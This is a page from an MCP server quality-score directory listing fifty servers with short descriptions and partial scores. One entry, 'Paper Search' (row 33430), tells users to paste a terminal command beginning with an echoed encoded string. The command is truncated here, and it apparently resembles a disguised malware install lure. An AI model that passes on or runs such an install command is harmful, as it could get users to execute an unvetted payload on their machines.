MCP Server Quality Scores

Independent quality analysis of 62421 public MCP servers

62421
Discovered
30118
Scored
2112
Verified
16953
Complete

Last updated 2 hours, 17 minutes ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
33401
DrishtantKaushal
Model Context Protocol server for Langfuse observability. Query traces, analyze…
33402
tony-42069
A Solana MCP server for analyzing memecoins, tracking trends, and providing AI-…
33403
socar-edwin
A Python-based MCP server that acts as a bridge between MCP-compatible clients …
33404
planexhq
markdown-mcp Claim
Provides structured, addressable access to a local markdown vault with heading-…
N/A N/A 95
33405
TokonoMix
Multi-model consensus: 2-6 frontier LLMs answer, an independent judge synthesis…
N/A N/A
33406
jnotsknab
Async Python REPL + Shell execution for MCP. Provides persistent state, backgro…
N/A N/A
33407
claymore666
ccu-mcp Claim
MCP server for controlling HomeMatic smart home devices via the CCU JSON-RPC API
N/A N/A
33408
Rckl88
seracade Claim
LLM cost optimization. Audit your calls, prove savings, route to the cheapest q…
N/A N/A 95
33409
adam-hanna
Provides semantic code search over codebases using local embeddings with natura…
N/A N/A
33410
davidgut1982
lore-mcp Claim
Persistent knowledge layer for AI agents. KB, investigation threads, journal wi…
33411
AsimRauf1997
Convert amounts between currencies with up-to-date rates. Get accurate conversi…
N/A N/A 95
33412
alyiox
MCP server for downloading Jira and Confluence Cloud attachments by attachment …
N/A N/A
33413
franlealp1
Enables AI assistants to create, read, and manipulate Microsoft Word documents …
N/A N/A 95
33414
rakanalalami
Kamy Claim
Other PDF MCP servers ask you to install Chrome, manage a local renderer, and s…
81
33415
Autonomad1
travel Claim
AI travel agent — book flights, hotels, activities, and events worldwide via au…
33416
helinakdogan
agent-magnet Claim
Self-learning memory for AI tools. Remembers user preferences and context acros…
33417
bonkey
Lightweight MCP server that crawls Confluence subtrees and serves cached Markdo…
33418
Moddable-Games
15 tools for chess variant analysis, hex map generation, and board game utiliti…
33419
xianjianlf2
Enables AI coding assistants to search, retrieve, and reuse validated Flutter a…
33420
ALEXaquarius
Verify multi-hop relational claims before an agent asserts them — zero tokens, …
N/A N/A
33421
JRafael2023
Enables AI assistants to manage multiple WordPress sites, create and publish co…
81
33422
asd-git-master
Enables AI agents and sportsbooks to discover, evaluate, and monitor alternativ…
33423
cevidallara
Connects Claude with Piriod.com API to manage invoicing and payments, enabling …
33424
pipeworx-io
mcp-destatis Claim
Enables querying Germany's official statistics from Destatis GENESIS-Online thr…
33425
leancoderkavy
Enables AI assistants to fully control Adobe Premiere Pro through 269 tools acr…
33426
sunex
*A public MCP server that exposes Sunex Inc's lens and imager catalog to AI a…
81
33427
MDMagic-MCP
Use your own Word templates to convert Markdown → DOCX/PDF/HTML from any MCP-co…
33428
iambenslater
Australian local-trade providers. One signed provider per domain. 15 live acros…
33429
AIops-tools
Governed Proxmox VE VM/container ops — 23 MCP tools with audit, budget, undo & …
N/A N/A
33430
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
33431
nerkyzas157
Gamito Claim
Enables AI agents to generate budget-disciplined, allergy-safe weekly meal plan…
N/A N/A
33432
maraventano
MAP (Maraventano Agent Protocol). One MCP server with three subtractive parts —…
33433
Raindancer118
Integrates Google Gemini's capabilities—including search-grounding, image/video…
33434
AgentNOMOS
Cross-border preflight, x402 quote and evidence receipts for A2A/MCP agent work…
33435
anchorregistry
On-chain provenance lookup for AnchorRegistry. Resolve AR-IDs, hashes, and full…
33436
philipvanlewis
MCP server providing Claude Code with full UniFi network management capabilitie…
33437
killuaa0-0
MCP-SERVER Claim
Exposes a Posts & Comments API as MCP tools over Streamable HTTP, enabling CRUD…
33438
Bigred97
asic-mcp Claim
Query ASIC registers in plain English — advisers, licensees, banned persons, li…
N/A N/A
33439
JanneMattila
Exposes Azure Databricks Jobs tools (list, run, get output) with Entra ID authe…
33440
contextser
nodecel Claim
Vibe deployment for nodecel — deploy, roll back, diagnose, and manage apps and …
33441
KerryanOPMace
Enables searching companies in the SIRENE database using SIREN, SIRET, or compa…
33442
metaweardigital
Deterministic safety, correctness & cost gate that vets Postgres SQL before you…
67
33443
gabigabogabu
Enables email integration via IMAP and SMTP, allowing model assistants to read,…
33444
Loreian23
Enables AI agents to discover, join, and participate in AgentDebate debates via…
33445
CoMfUcIoS
Enables read-only access to Obsidian vaults with semantic search, tag filtering…
N/A N/A
33446
InstantMCP
Search and retrieve LinkedIn ads effortlessly. Utilize powerful tools to find a…
N/A N/A 95
33447
Dhari-Q
recall-mcp Claim
A shared, local-first memory layer for AI CLIs, providing persistent, layered m…
N/A N/A
33448
Pantrist-dev
pantrist-mcp Claim
Manage your pantry, shopping lists, recipes, and weekly meal plan with Pantrist…
33449
stackfiesta
StackFiesta Claim
Discover AI tools for game development — 100+ tools indexed by engine, task, an…
33450
capabilityhostprotocol
chp Claim
Learn and adopt the Capability Host Protocol — the agentic web's open evidence …
Showing 33401–33450 of 62421 servers
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